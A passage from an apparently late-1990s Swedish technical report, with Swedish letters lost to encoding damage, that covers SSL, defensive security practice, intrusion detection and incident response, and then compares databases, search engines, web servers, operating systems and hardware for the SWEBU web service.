f�rh�rskande s�kerhetssystem, m�jligg�r s�v�l identifiering av klienter och
servers som kryptering av �verf�rd information. SSL anv�nds fr�mst f�r att
s�tta upp s�kra HTTP f�rbindelser men kan �ven anv�ndas t ex f�r ftp
(fil�verf�ring) eller telnet (terminalemulering). Anledningen till att det �r s�
enkelt att anpassa till olika tj�nster �r att det i princip �r vanliga s� kallade
Berkeley sockets som modifierats f�r att till�ta kryptering. En socket, sockel p�
svenska, utg�r ett slags API (Application Programming Interface) f�r TCP/IP
n�tverk.

SSL arbetar i tv� steg. I det f�rsta steget utbyter server och klient information
om varandra.

CLIENT SERVER

ClientHello

ServerHello
Certificate
CertificateRequest
ServerKeyExchangeCertificate

ClientKeyExchange
CertificateVerify
ChangeCipherSpec
ChangeCipherSpecFinished ChangeCipherSpecFinished

Data Exchange Data Exchange

Figur 30 Bilden visar anrop p� systemniv� av SSL biblioteket. (Lindemalm, 1997)).
Exempel p� anrop �r ChangeCipherSpec vilket betyder Skifferutbytet klart
(man har bytt krypteringsnycklar).

I exemplet, enligt figur 30, vill CLIENT uppr�tta en krypterad f�rbindelse med
en server f�r att exempelvis s�nda k�nslig information. F�ljande dialog
utspinner mellan CLIENT och SERVER. Klienten s�nder ClientHello till
servern som svarar med ServerHello. Dessa meddelanden inneh�ller bland annat
information om protokollversion, krypterings- och kompressionsmetoder. I ett
andra steg s�nder servern sitt certifikat till klienten. Eventuellt skickas ett
ServerKeyExchange meddelande t ex om servern saknar certifikat eller om det
enbart �r avsett f�r att skapa signaturer. Om servern �r autentierad kan den
beg�ra ett certifikat fr�n klienten. Autentiering sker idag via s� kallade certifikat
(krypteringsnyckel) som utf�rdas av olika kommersiella betrodda organisationer
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som t.ex. Verysign (   http://www.verysign.com    ). Det �r �ven fullt m�jligt att
inom en organisation utf�rda egna certifikat. Huvudsaken �r att de som skall
anv�nda certifikaten litar p� certifikatets utf�rdare. Efterhand v�xer ett
hierarkiskt tr�d av f�rtroende upp.

P� detta s�tt kan man s�kerst�lla att krypterade f�rbindelser kan etableras i
Internetmilj�n.

1 1 . 3 . 3 Tillg�nglighetshindrande �tg�rder

Det finns olika m�jligheter att blockera �tkomsten av ett system. Det vanligaste
och enklaste �r att dr�nka systemet med information s� att kapaciteten inte r�cker
till f�r att sl�ppa in andra. �ven om man inte direkt p�verkar den tj�nst man vill
blockera, l�t oss anta att det �r WWW-servern, kan man genom att l�ta datorerna
utf�ra andra resurskr�vande tj�nster f�rhindra dem att hinna ta hand om WWW-
tj�nsten. Antingen genom att datorkapaciteten tar slut eller att n�tets kapacitet
�verskrids. Detta kan ske genom att man exempelvis skickar gigantiska e-mail
till mailservern.

1 1 . 4 S�KERHETSSTRATEGIER

N�r man beslutar om en s�kerhetsstrategi f�r en organisation �r det viktigt att
alla inblandade f�r s�ga sin mening f�r att de skall k�nna sig tillfreds med
s�kerhetssystemet. P� s� s�tt minskar risken att n�gon inom organisationen
skapar genv�gar f�r sitt personliga arbete. Genv�gar som kan utg�ra
s�kerhetsrisker. Till exempel s�tter n�gon upp en modemf�rbindelse till
systemdelar som annars varit skyddade av en brandv�gg. �ven externa faktorer
p�verkar valet av s�kerhetsstrategi (vad kr�ver eventuella samarbetspartners och
Riksrevisionsverket m fl ).

Man ska heller inte heller f�rlita sig p� att man kan skydda sig mot att en
inkr�ktare tar sig in i systemet. Om han v�l lyckas ta sig in ska man se till att han
kan g�ra s� lite skada som m�jligt, t.ex. genom att man v�ljer beh�righeter p�
l�mpligt s�tt. I UNIX finns ett program som heter Cops (fritt tillg�ngligt p�
Internet) som kan hj�lpa systemadministrat�ren med detta arbete. En viktig
princip �r att aldrig ge anv�ndarna st�rre beh�righeter �n vad de absolut
beh�ver. Det �r t.ex. vansinnigt att ge varje enskild anv�ndare systemets root-
l�senord bara f�r att de skall kunna st�nga och starta om utskriftssystemet om
det skulle h�nga sig. Eller att l�ta ett program k�ras som root bara f�r det ska
kunna skriva i n�gon viss skrivskyddad fil.

Under inkr�ktarens v�g att n� viktiga systemfunktioner ska han ha sv�rt att l�ta
bli att r�ja sin existens. Till exempel genom att man ber�knar checksummor p�
filstorlekar s� att det syns om han t.ex. skulle l�gga in en extra anv�ndare eller
g�ra n�gon annan o�nskad filf�r�ndring. Detta kan p� UNIX system ske med
ett program som heter Tripwire (fritt tillg�ngligt p� Internet).

Man kan �ven g�ra s.k. wrapper program. Detta �r skal runt program som kan
utf�ra k�nsliga operationer i systemet. Innan den verkliga funktionen utf�rs
tr�der skalet in och kan t.ex. logga vem som f�rs�kte utf�ra den. Det �r vanligt
att man anv�nder dessa s.k. wrappers runt TCP/IP funktioner som t.ex. ftp,
telnet m.fl. F�rutom att logga h�ndelser kan man f�rhindra �tkomst p� vissa
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tider av dygnet (t.ex. icke arbetstid). Det �r �ven m�jligt att p� detta s�tt
modifiera mekanismer f�r start av vissa Internettj�nster efter vem som beg�r
tj�nsten.

Man b�r �ven utarbeta system f�r att �vervaka svarstider. F�rutom att dessa �r
bra att ha f�r att f�ruts�ga n�r man beh�ver utvidga systemet, kan s�dan statistik
ocks� ge fingervisningar om huruvida n�gon obeh�rig anv�nder systemet.

�ven om man loggar vad som sker kan man t�nka sig att en skicklig inkr�ktare
kan f�rst�ra loggfilerna och d�rigenom f�rhindra att hans identitet r�js. F�r att
f�rhindra detta kan det ibland, t.ex. om man misst�nker ett p�g�ende angrepp,
vara l�mpligt att skriva ut loggen p� en skrivare.

Det �r ocks� viktigt att man sj�lv f�rs�ker bryta sig in i systemet n�gon g�ng
emellan�t f�r att se att det inte uppst�tt n�gra s�kerhetsluckor. Ett l�mpligt
program f�r att kontrollera s�kerheten i UNIX system �r Satan som liksom
Tripwire och Cops  kan h�mtas fritt p� Internet.

Rent allm�nt �r det viktigt att man inte enbart har ett skalf�rsvar utan �ven
f�rsvar p� djupet. Man b�r �ven se till att systemets anv�ndare inte har f�r enkla
l�senord. Ett bra s�tt att skapa l�senord som �r enkla att komma ih�g men sv�ra
att kn�cka, �r att v�lja en mening och ta f�rsta bokstaven i varje ord. Man b�r
�ven se till att l�senorden inneh�ller n�gra siffror eller icke alfabetiska tecken.
Ibland kan man anv�nda dem 'onomatopoetiskt' f�r att kunna memorera dem
enkelt. T.ex. memorera ordet b�ten men skriv b�10.

De flesta system lagrar l�senorden i krypterad form. Dessa krypterade l�senord
skall naturligtvis inte vara tillg�ngliga f�r allm�nheten. F�r att f�rhindra att
n�gon stj�l ett l�senord och d�rigenom olovandes skaffar sig tilltr�de till
systemet, b�r man kontrollera att man inte genom att kryptera en k�nd ordlista
bakv�gen kan lista ut vad l�senorden �r.

I UNIX-v�rlden finns ett program, Crack (fritt tillg�ngligt p� Internet), som g�r
just detta. Det �r all id� f�r systemadministrat�rer att k�ra detta program p� sina
egna l�senordsfiler med j�mna mellanrum. Om n�got l�senord skulle kn�ckas
b�r kontot omedelbart sp�rras och �garen underr�ttas s� att han kan byta
l�senord.

Man b�r ocks� t�nka p� att byta l�senord med j�mna mellanrum, systemet b�r
konfigureras s� att det anmodar anv�ndarna att g�ra detta. Man b�r �ven byta
l�senord om man gjort en inloggning �ver en os�ker, dvs icke krypterad kanal,
detta g�ller speciellt l�senorden f�r systemadministrat�rerna.

Det enklaste s�ttet att f� ett s�kert system �r att skapa en allm�nt
s�kerhetsmedvetande, och en f�rst�else f�r vad som �r skyddsv�rt i den egna
organisationen. Detta s�kerhetst�nkande b�r genomsyra hela verksamheten och
inte bara datoranv�ndningen. Det kan r�ra sig om enkla saker som att instruera
medarbetarna att d� de passerar en kodl�sf�rsedd d�rr tillsammans med en
tillf�llig g�st att sl� n�gra extra siffror och avsluta med den riktiga, f�r att det
skall bli sv�rare att memorera koden. Eller en s� enkel sak som att l�sa sin
kontorsd�rr n�r man ej �r d�r, f�r att inte tala om att aldrig l�mna en dator i
inloggat skick obevakad.

Det finns tv� v�gar att g� d� man bygger upp sin s�kerhetsstrategi
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- Allt f�rbjudet - utom det som uttryckligen �r till�tet, figur 31,

Beg�ran av
information

Finns det en
regel som

medger �tkomst?

Ingen �tkomst Information
l�mnas ut

Nej Ja

Regelbas:
till�ter
�tkomst

figur 31 Man f�rs�ker h�r avg�ra den minsta m�ngd information som varje
anv�ndare beh�ver f�r sitt arbete och begr�nsar hans m�jliga
informations�tkomst till denna. Risken att man definierar denna minimala
m�ngden alltf�r sn�vt �r uppenbar, och att man p� s� s�tt g�r systemet
on�digt sv�rarbetat.

- Allt till�tet - utom det som uttryckligen �r f�rbjudet, figur 32,

Beg�ran av
information

Finns det en
regel som
f�rbjuder
�tkomst?

Ingen �tkomst Information
l�mnas ut

ja Nej

Regelbas:
f�rbjuder
�tkomst

Figur 31 H�r f�rs�ker man i st�llet dela information s� mycket som m�jligt. Och g�r
bara begr�nsningar om det �r absolut n�dv�ndigt. Denna typ av strategier
�r l�mpliga t.ex. f�r universitet och forskningsinstitutioner d�r
verksamheten i sig �r mer eller mindre publik
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1 1 . 4 . 1 Att detektera ett angrepp

Hur man detekterar angrepp beror naturligtvis p� vilken typ av system man
anv�nder. Vanligtvis sker det genom f�ljande metoder.

1. �vervakning f�r att detektera ov�ntade f�r�ndringar i systemets
prestanda. Ofta det f�rsta tecknet som man m�rker. Kan t.ex. bero p� att
n�gon f�rs�ker utnyttja datorn f�r att kn�cka l�senord.

2. �vervakning av diverse loggfiler �ver hur systemet utnyttjas. Till
exempel varifr�n ftp eller http anslutningar kommer. Om man ser
anslutningar som normalt inte skall kunna ansluta b�r man bli
misst�nksam. �n mera misst�nksam b�r man bli om dessa anslutningar
varar under l�ngre tid �n normalt. (Exempel p� logfiler som kan vara
aktuella i ett UNIX system �r messages, lastlog, ftp och http loggar. Vad
det g�ller filen messages b�r man �ven kontrollera syslogd.conf s� att en
inkr�ktare ej �ndrat vad eller hur loggning sker)

3. �vervakning av vem som anv�nder systemet vid visa tidpunkter. Om
n�gon som normalt inte arbetar vid en viss tid pl�tsligt och regelbundet �r
inloggad under denna kan man misst�nka att n�gon olovandes utnyttjar
hans anv�ndaridentitet.

4. Genom den r�ra i systemet som inkr�ktaren st�ller till. Detta kan l�ta
drastiskt men om r�ran inskr�nker sig till brandv�ggsmaskinen och man
har strikt �vervakning (t.ex. genom ovann�mnda Tripwire p� en UNIX-
maskin) �ver denna s� att man hinner stoppa ett angrepp innan det n�r in
i vitala delar av systemet �r det en bra metod.

5. Leta efter saknade logfiler, eller poster i logfiler som borde funnits d�r.
Om delar av loggfiler �r korrupta eller saknas kan man misst�nka att
n�gon f�rs�kt sopa igen sp�ren efter sin framfart.

6. Leta efter processer som inte borde k�ra.

7. Se om program f�r att �vervaka systemet har modifierats. T.ex. genom
att ber�kna MD5 (Schneier, 1996) checksummor p� programmen och
j�mf�ra dessa med checksummor som man vet �r korrekta. (Gl�m inte att
kolla checksumman p� MD5 programmet)

8. Kontrollera att beh�righeter p� viktiga filer inte f�r�ndrats p� otillb�rligt
s�tt. (Till exempel f�tt setuid-beh�righet p� ett UNIX-system)

Det finns ett flertal system f�r att automatisera och f�renkla dessa
�vervakningsuppgifter.

1 1 . 4 . 2 �tg�rder vid s�kerhetsincident

1 Grips inte av panik.
En systemadministrat�r i paniktillst�nd �r en s�kerhetsrisk i sig.

2 Dokumentera allt du g�r och allt som h�nder i systemet.
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N�r man uppt�ckt en attack �r det f�rsta steget att besluta om l�mplig mot�tg�rd.
Vilken denna blir beror p� om angriparen lyckats ta sig in i systemet, om s� �r
fallet �r tillst�ndet akut oavsett om inkr�ktaren �r aktiv eller inte.

Misst�nker man ett p�g�ende inbrottsf�rs�k b�r man handla omedelbart �ven
om det inte �r samma paniksituation. Anses situationen allvarlig b�r man bryta
f�rbindelsen innan inkr�ktaren lyckats ta sig in i systemet. Utifr�n information
b�r man s� l�ngt det g�r att sp�ra angriparen. �ven om man inte kan komma s�
l�ngt att man vid en r�tteg�ng kan f� en f�llande dom kan man ofta f�
inkr�ktarens internetleverant�r att sluta leverera internettj�nster till missd�daren.

1 1 . 4 . 3 Hur h�ller man sig informerad?

Att via Internet h�lla sig uppdaterad p� de senaste metoderna att utnyttja
svagheter i systemen f�r att bryta sig in kan l�tt bli ett heltidsjobb f�r
systemadministrat�ren. Det finns dock ett par organisationer listade nedan vars
bulletiner och rekommendationer man b�r studera noga. De flesta av dessa �r
helt UNIX-orienterade. Anledning till detta �r dock troligen inte att UNIX skulle
vara s� mycket os�krare �n t.ex. Windows NT utan snarare att det tar fyra fem
�r innan man k�nner ett system s� v�l att man kan uttala sig om huruvida det �r
s�kert eller inte. Med tanke p� att Windows NT inte funnits s� l�nge finns
f�ljaktligen inga oberoende s�kerhetsexperter att tillfr�ga. Man �r utl�mnad till
Microsofts egna experter.

BUGTRAQ

Mailinglista som detaljerat behandlar svagheter hos diverse UNIX system.
Trafiken har ganska h�g volym. F�r att prenumerera p� listan skicka ett mail
inneh�llande Òsubscribe bugtraqÒ till listserv@netspace.org

CERT

Computer Emergency Response Team grundades 1989 av USAs
f�rsvarsdepartement f�r att skydda Internets infrastruktur. Arbetet bedrivs vid
Carnegie-Mellon University i Pittsburg av ett dussintal anst�llda som tar emot
och analyserar rapporter fr�n Internetanv�ndare och utifr�n dessa sammanst�ller
och ger ut varningar och rekommendationer om hur man h�jer s�kerheten.
Deras r�d g�rs tillg�ngliga via newsgruppen comp.security.announce. CERT
har �ven en ftp-server d�r s�v�l varje s�kerhetsbulletin CERT givit ut som
s�kerhetsrelaterad programvara kan h�mtas. Adressen �r   ftp://info.cert.org   .
CERT kan n�s via e-mail p� adressen cert@cert.org. CERT rekommenderar att
man krypterar sina brev. De st�djer kryptering enligt DES, PGP och PEM.

CIAC

Computer Incident Advisory Capability group. Det amerikanska
energidepartementets datas�kerhetsorganisation. H�ller ftp och http server med
s�kerhetsrelaterade dokument och program. Adresser:
ftp://ciac.llnl.gov/pub/ciac/   ,    http://ciac.llnl.gov/  , mailto:ciac@llnl.gov
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COAST

Computer Operations, Audit and Security Technology. Ett projekt vid Purdue
University, USA, f�r att h�ja n�tverkss�kerheten. Har f�rutom en intressant
ftp/web site ett nyhetsbrev om n�ts�kerhetsfr�gor. Adresser:
ftp://coast.cs.purdue.edu   ,    http://www.cs.purdue.edu/coast/coast.html  ,
mailto:coast-reqest@cs.purdue.edu

NEWS GROUPS

N�r det g�ller allm�nna s�kerhetsfr�gor kan man f�lja n�gon av grupperna;
comp.sercurity.annonce, comp.security.misc, alt.security samt
comp.security.unix den sistn�mnda behandlar som namnet antyder s�kerhet i
UNIX-n�t men kan vara l�sv�rd f�r den som sysslar med TCP/IP-baserade n�t i
st�rsta allm�nhet.

N�r det g�ller kryptografi finns f�ljande intressanta grupper:
sci.crypt.comp security.pgp, comp.security.ripem, comp.protocols.kerberos
F�r fr�gor r�rande brandv�ggar kan man v�nda sig till comp.security.firewalls

1 2 Att v�lja server

1 2 . 1 �NSKADE EGENSKAPER

En server f�r WWW bruk best�r av ett antal komponenter som tillsammans
skapar den �nskade funktionaliteten.  Det r�r sig om b�de mjukvara och
h�rdvara. Kombinationen av dessa best�mmer serverns egenskaper i olika
avseenden, som t ex svarstider, drifts�kerhet, framtidss�kerhet, utbyggbarhet
ink�pspris och driftskostnader. Detta leder till en rad ibland motstridiga krav p�
systemet, som t ex snabba svarstider, l�ga driftskostnader, stor drifts�kerhet
och stor datas�kerhet.

Eftersom anv�ndarnas f�rtroende f�r systemet till stor del h�nger samman med
drifts�kerheten anser vi att denna b�r prioriteras h�gt i en
utrustningsspecifikation. Vidare kan man f�rv�nta att man kommer att driva
systemet under ett antal �r fram�t varf�r det kan vara klokt i att f�rs�ka f� en
uppfattning om de faktiska driftskostnaderna.

1 2 . 2 MJUKVARA

1 2 . 2 . 1 Databas

Vilken databas som kan vara aktuell h�nger starkt samman med vilket
operativsystem man v�ljer. D� vi av s�kerhetssk�l ans�g att Solaris (UNIX) var
det b�sta operativsystemet koncentrerade vi v�ra studier p� de databaser som var
tillg�ngliga p� denna plattform.
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Vi gjorde en del experiment med en shareware mjukvara, mSQL, som dock
visade sig sakna v�sentliga funktioner. Det var bland annat inte m�jligt att k�ra
n�stade SQL fr�gor. Dessutom behandlar mSQL databasanropen sekventiellt
vilket skulle vara en nackdel ur prestandasynpunkt f�r ett fleranv�ndarsystem.
Inte heller fanns det n�got system f�r l�sning av poster. Om mSQL skulle ha
anv�nts hade ett s�dant system beh�vt simuleras med l�sfiler ute i filsystemet,
vilket i sin tur hade lett till ett mindre robust system.

�ven ur en annan prestandasynpunkt fann vi mSQL n�got tveksam. Vid en
JOIN av n�gra f� tabeller n�rmade sig prestanda de som man f�r genom att
hantera data som filer i filsystemet och anv�nda UNIX standardverktyg (cut,
paste m.fl.) f�r att st�lla samman data.

Ej heller hade mSQL n�gra funktioner f�r att s�kerst�lla databasintegriteten.
V�ra tester g�ller mSQL version 1.xx, p� senare tid har det kommit en ny
version 2.0 (dock bara i beta �nnu s� l�nge) som adresserar m�nga av
problemen, men fortfarande kvarst�r att anropen hanteras sekventiellt med
prestandaproblem som f�ljd i ett v�xande fleranv�ndarsystem.

Ett annat alternativ som kommit p� senare tid �r den svenskutvecklade mySQL
som till skillnad fr�n mSQL har en multitr�dad server vilket g�r den mera
l�mpad f�r ett fleranv�ndarsystem. Vi har inte gjort n�gra egna j�mf�rande
tester, men enligt anv�ndare som provat b�da �r s�kningen snabbare i mSQL
om s�kfr�gorna �r enkla. N�r fr�gorna blir mera komplexa vinner mySQL.
MySQL s�gs �ven vara l�ngsammare att uppdatera �n mSQL.

MySQL har �ven ett betydligt b�ttre system f�r att hantera anv�ndare �n mSQL.
Till skillnad fr�n mSQL d�r beh�righeter konfigureras i en fil, l�ggs anv�ndarna
h�r i en databas med tabeller f�r anv�ndare, databas och dator. Genom detta
f�rfarande kan man f� b�ttre granularitet vid s�kerhetskonfigurationen i mySQL
�n i mSQL. Dessutom lagras l�senorden i krypterad form i mySQL vilket �kar
s�kerheten. Vi svenskar kan �ven gl�dja oss �t att mySQL kan konfigureras att
ge felmeddelanden p� svenska.

Till s�v�l mSQL som mySQL finns jdbc drivrutiner av typ 4. Dvs helt skrivna i
Java och med kommunikation mot databasen �ver TCP/IP i respektive databas
eget kommunikationsprotokoll. mSQLs jdbc driver klarar f�r n�rvarande bara
Java version 1.02 med JDBC 1.1, medan mySQL f�ljer standarden f�r jdbc
1.22 vilket inneb�r att den fungerar med java 1.1.

B�de mSQL och mySQL har begr�nsningar vad det g�ller m�jlighet att skapa
prekompilerade SQL fr�gor och transaktionshantering. F�r att f� dessa
funktioner m�ste man g� till kommersiella system som t ex ORACLE eller
Informix. Dessa system utm�rks av stora konfigurationsm�jligheter f�r olika
arbetsuppgifter. Detta leder dock till �kad komplexitet, ofta v�l i klass med
full�diga operativsystem som t ex UNIX eller VMS.
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1 2 . 2 . 2 Databaskopplingar

1 2 . 2 . 3 S�ksystem utanf�r databasen

Den information som ligger lagrad utanf�r databasen ute i filsystemet kan g�ras
s�kbar med s.k. indexeringsmaskiner. Med hj�lp av dessa skapar man index
�ver informationen som sedan anv�nds f�r att g�ra snabba s�kningar. Vi har
erfarenhet av fem system: Excite (   http://www.excite.com    ), WAIS, Microsoft
Indexserver som ing�r i Microsoft Windows NT 4.0 server paket samt Glimpse
(fritt tillg�ngligt p� Internet) och Netscape (   http://www.netscape.com    ) .

WAIS utm�rks tillsammans med Excite av att man kan anv�nda hela dokument
som s�knycklar. Resultaten fr�n s�kningarna presenteras s� att de mest troliga
dokumenten visas f�rst, s� kallad relevansrankning. Det g�r alldeles utm�rkt att
g�ra en s�kning och utifr�n resultatet av denna forts�tta att s�ka med de
dokument som s�g mest lovande ut som s�knycklar.

Indexeringsprocessen i WAIS �r dock mycket resurskr�vande vad g�ller
prim�rminne och diskaccess (skivminnes�tkomst). Det �r inga sv�righeter att
f�rbruka 100 MB prim�rminne f�r att indexera n�gra tiotal MB information.
Indexen blir dessutom stora, i samma storleksordning som den indexerade
informationen.

WAIS indexen g�rs sedan tillg�ngliga �ver n�tet via speciella WAIS servers.
Detta g�r det m�jligt att s�ka efter information fr�n flera WAIS k�llor samtidigt.
Den stora resurs�tg�ngen g�r dock att WAIS idag anv�nds allt mindre, en annan
bidragande orsak �r att de s�kklienter som finns har mindre intuitiva
anv�ndargr�nssnitt . K�llkoden till WAIS systemet �r fritt tillg�nglig och kan f�s
att fungera p� de flesta UNIX system. Den �r dessutom f�rberedd med hakar
som g�r det m�jligt att f�rse systemet med filter f�r att klara olika
dokumenttyper via ett API skrivet C++. I praktiken �r det dock sv�rt att dra
nytta av detta d� t.ex. filformatet f�r k�nda ordbehandlingssystem ej �r fritt
tillg�ngliga utan m�ste best�mmas genom Òreverse engineeringÒ. Man kan dock
t�nka sig att anv�nda m�jligheten f�r att skapa mallar f�r olika typer av SGML
(Standard General Markup Language) dokument beskrivningar som t ex HTML

WAIS-systemet har i sitt grundutf�rande inga kopplingar s� att det direkt kan
kopplas till en HTTP-server, utan man m�ste �ven komplettera med dessa. Ett
flertal mer eller mindre bra s�dana program vanligen skrivna i Perl finns att tillg�
p� Internet.

Excite (Excite Inc) �r det s�ksystem som har b�st anv�ndargr�nssnitt och
levererar kan f�rutom s�kresultat �ven automatiskt skapa relevansrankade
(precis som i WAIS) sammandrag av de funna dokumenten. Sammandragen �r
mycket bra, ibland kan det vara n�st intill om�jligt att tro att de producerats p�
automatisk v�g. Excite �r mycket tolerant mot stavfel i s�korden, och detta �r tur
eftersom den inte klarar av att hantera icke amerikanska tecken som �, � och �.
Det fungerar inte heller att indexera HTML-dokument som inneh�ller s� kallade
umlaut-omskrivningar f�r dessa tecken.

En v�g att komma �t detta �r att editera dokumenten och ers�tta alla umlaut-
omskrivningar med standard ISO-Latin-1-tecken innan dokumenten indexeras.
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Detta f�r emellertid till f�ljd att de automatiskt genererade sammanfattningarna
kommer att sakna dessa tecken. F�r att komma runt �ven detta kan man efter att
dokumenten indexerats �terst�lla dokumenten s� att v�ra svenska tecken
representeras av umlaut-teckenkombinationer. Vi har i vissa l�ge tvingats utf�ra
dessa operationer.

Excite klarar att hantera s�v�l text som HTML-dokument. Excite finns f�r de
st�rre UNIX systemen som t.ex. Solaris samt till Windows NT. Problemen
med de svenska tecknen blir dock v�rre att l�sa p� NT-plattformen d� det d�r
inte finns n�gra standardverktyg f�r automatisk editering av stora textm�ngder.

Programmet Glimpse utg�r indexeringsmotorn i ett st�rre system, ben�mnt
Harvest som kan anv�ndas f�r att skapa distribuerade index �ver dokument
spridda �ver n�tet. Det fordras dock att de servers som lagrar dokumenten k�r
Harvest programvaran s� att de olika delarna i systemet kan kommunicera med
varandra. Harvest och Glimpse har fritt tillg�nglig k�llkod som fungerar p� de
flesta UNIX system. �ven Glimpse har problem med �, � och �. Dessa problem
l�ses p� liknande sett som i Excite fallet. Precis som WAIS m�ste Glimpse
kompletteras med cgi-programvara f�r att fungera i WWW-sammanhang.

1 2 . 2 . 4 HTTP-server

Val av HTTP-server kan inneb�ra val av mjukvara, men det kan ocks�, om man
f�rv�ntar sig stor last p� det f�rdiga systemet, eller extremt h�g drifts- och
datas�kerhet inneb�ra att man l�ter webservervalet p�verka hela systemarkitek-
turen. F�r att �ka drifts�kerheten kan man inf�ra aktiv redundans i systemet.
Detta kan ske genom att man k�r flera servermaskiner som via NFS (Network
File System, f�r montering av externa skivminnen �ver n�tet) delar en
serverarea.

I SWEBU anv�nds en Netscape Enterprise 2.01 HTTP server. F�rdelen med
denna �r att den �r l�tt att s�v�l installera som att administrera. Administrationen
sker med ett WWW gr�nssnitt som �r mycket l�tt att sk�ta. Dessutom finns bra
hj�lpfunktioner och s�ksystem inbyggda i servern.

1 2 . 2 . 5 Operativsystem

Operativsystemet �r en av de viktigaste komponenterna f�r s�v�l drift som
datas�kerhet. Det b�r ge m�jlighet att ge olika anv�ndare olika beh�righeter vad
det g�ller att se existensen av, l�sa, skriva och exekvera filer. Systemet b�r
dessutom vara v�l inarbetat s� att det g�r att hitta kompetenta systemutvecklare
och personer som st�r f�r drift och �versyn samt s�kerhets�vervakning.

De flesta system �r idag s� komplexa att man b�r ha sysslat med systemet ett
antal �r innan man kan tillr�ckligt mycket f�r att kunna veta hur s�kerhetsl�ckor
uppst�r p� det aktuella systemet. T�nkbara System �r idag olika varianter av
UNIX, Open VMS och med viss tvekan (p� grund av dess korta tid p�
marknaden) Windows NT.



86 ENGBORG U., CHRISTIANSSON P., STJERNFELDT F.

UNIX

UNIX �r ett fleranv�ndarsystem, med fleruppdragsk�rning. UNIX finns i ett
flertal dialekter (de har dock inga sv�righeter att f�rst� varandra). Dels finns
gratisvarianter som Linux och FreeBSD, samt kommersiella som t.ex. Solaris
fr�n Sun. Det som skiljer mellan gratisvarianterna och de kommersiella �r att
k�llkoden till systemen �r fritt tillg�nglig i de f�rra vilket kan vara bra om man
vill g�ra n�gon �ndring eller om man beh�ver g�ra egna anpassningar t.ex. ett
krypterande filsystem.

Nackdelen med de icke kommersiella systemen �r att det �r sv�rt att st�lla n�gon
till ansvar om det inte fungerar enligt manualen. S�v�l Linux som FreeBSD
h�ller idag mycket h�g klass och kan ur kvalitetssynpunkt mycket v�l anv�ndas
i kommersiella system �tminstone s� l�nge man h�ller sig p� Intelbaserade
datorer. Linux finns �ven till andra arkitekturer men �r d�r betydligt mindre
utprovat. Vad det g�ller support finns det idag flera f�retag som �gnar sig �t
support f�r Linux-system.

F�rdelen med kommersiella system �r att man kan fr�ga tillverkaren om vilken
h�rdvara som fungerar. Ofta �r �ven de grafiska anv�ndargr�nssnitten b�ttre t ex
med st�d f�r Display Postscript och �tminstone runtime st�d f�r OSF-motif
program (Open Software Foundation). Ofta finns det grafiska
anv�ndargr�nssnitt f�r administration av allt ifr�n anv�ndare till konfiguration av
RAID system (Redundant Array of Inexpensive Disks, eller Redundant Array of
Independent Disks. System av m�nga h�rddiskar monterade i ett rack) och
skrivare. Dessutom finns det �tminstone om man v�ljer n�got av de mera k�nda
systemen mer f�rdigskriven och installationsklar kommersiell programvara att
tillg� �n f�r de fria systemen.

Det i s�rklass vanligaste kommersiella UNIX-systemet �r Solaris fr�n SunSoft
(det tredje vanligaste operativsystemet efter Microsoft Windows och MacOS).
Solaris finns f�r SPARC, Intel och PowerPC datorarkitekturerna. De olika
versionerna �r helt k�llkodskompatibla med varandra varf�r det bara fordras en
enkel omkompilering f�r att skapa kod f�r en viss plattform. Systemet har
mycket god drifts�kerhet och har anv�nts i en publik informationskiosk i ett
museum (Kulturen Lund) utan driftavbrott under mer �n 24 m�nader.  P� grund
av den goda drifts�kerheten och det enkla handhavandet valdes Solaris som bas
f�r SWEBU projektet.

OPEN VMS

Open VMS var just i SWEBU fallet inte n�got alternativ d� de fordrade allt f�r
kostbar h�rdvara. F�r den som beh�ver h�gpresterande system kan det dock
vara v�rt att unders�ka n�rmare speciellt som det i VMS finns goda m�jligheter
att styra CPU anv�ndning och eventuellt begr�nsa denna f�r vissa anv�ndare
eller procedurer s� att de inte blockerar systemet p� grund av sitt h�ga
personliga resursutnyttjande. VMS har �ven ett mycket avancerat s�kerhets och
beh�righetssystem. VMS fordrar, i och med de st�rre
konfigureringsm�jligheterna, mer av systemadministrat�ren �n UNIX och
Windows NT. F� tillg�ngliga programvaror f�r VMS �r en annan nackdel med
systemet.
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WINDOWS NT

F�rdelen med Microsofts Windows NT �r att det har samma anv�ndargr�nsnitt
som Windows 95 och att den som har en Windows 95 utrustad PC p� sitt
skrivbord snabbt kommer ig�ng med att k�ra en NT server. Ibland kanske lite
v�l snabbt eftersom administration och planering av fleranv�ndarsystem med
avseende p� t ex s�kerhet fordrar en hel del kunnande om s�kerhet och n�tverk.
Mer �n vad som �r vanligt bland persondatoranv�ndare i allm�nhet. Detta g�r
det faktum att man m�ste l�ra sig ett annat anv�ndargr�nssnitt om man byter
operativsystem f�rsumbart i j�mf�relse med de �vriga kunskaper man m�ste
skaffa sig.

Leverant�ren Microsoft, har kanske till f�ljd att de nyligen slagit sig in p�
marknaden f�r n�tbaserade fleranv�ndarsystem, inte riktigt insett de nya krav p�
s�kerhet ett globalt n�tverk st�ller. Vid flera tillf�llen har allvarliga
s�kerhetsproblem i Microsoft produkter f�rringats av leverant�ren och
buggfixar har l�tit v�nta p� sig. Microsoft NT �r dock ett embryo till ett mycket
bra operativsystem som vi kan f�rv�nta oss mycket av i framtiden.

1 2 . 3 H�RDVARA

Den viktigaste faktorn vid val av h�rdvara f�r en WWW tj�nst som SWEBU b�r
vara drifts�kerheten. Detta inneb�r att man b�r v�lja datorutrustning som �r
uppbyggd av bepr�vade komponenter. Om man v�ljer att k�pa ett Intel/PC
baserat system b�r man undvika m�rkesfabrikat som t ex IBM, Compaq med
flera. Dessa stora f�retag har stora resurser som de ofta utnyttjar f�r att skapa
egna f�retagsspecifika komponenter, som dels kan vara sv�ra att f� tag i som
reservdel efter ett par �r, och som dels kan vara ok�nda och d�rmed inte testade
av mjukvaruproducenterna. Detta resonemang g�ller station�ra datorer som �r
l�mpliga som WWW servers. Om man i st�llet talar om b�rbara maskiner g�r
man klokt i att v�lja en m�rkesprodukt, d� dessa i vilket fall som helst inneh�ller
specialkomponenter och det d� �r b�ttre att det �r specialkomponenter fr�n
n�gon stor leverant�r �n fr�n en liten.

Man b�r �ven se till att det finns n�gon som tar totalansvar f�r f�rs�ljningen och
designen av datorsystemet. Det �r annars mycket l�tt (speciellt i PC v�rlden) att
man hamnar i situationen att man k�pt t ex ett n�tverkskort fr�n en tillverkare
och ett SCCI- kort fr�n en annan samt minnen och moderkort fr�n en tredje. Om
n�got skulle kringla i denna situation �r det vanligt att leverant�rerna f�rs�ker
kasta skulden p� varandra och man kan hamna i en knipa som kan vara sv�r,
eller �tminstone dyr, att ta sig ur.

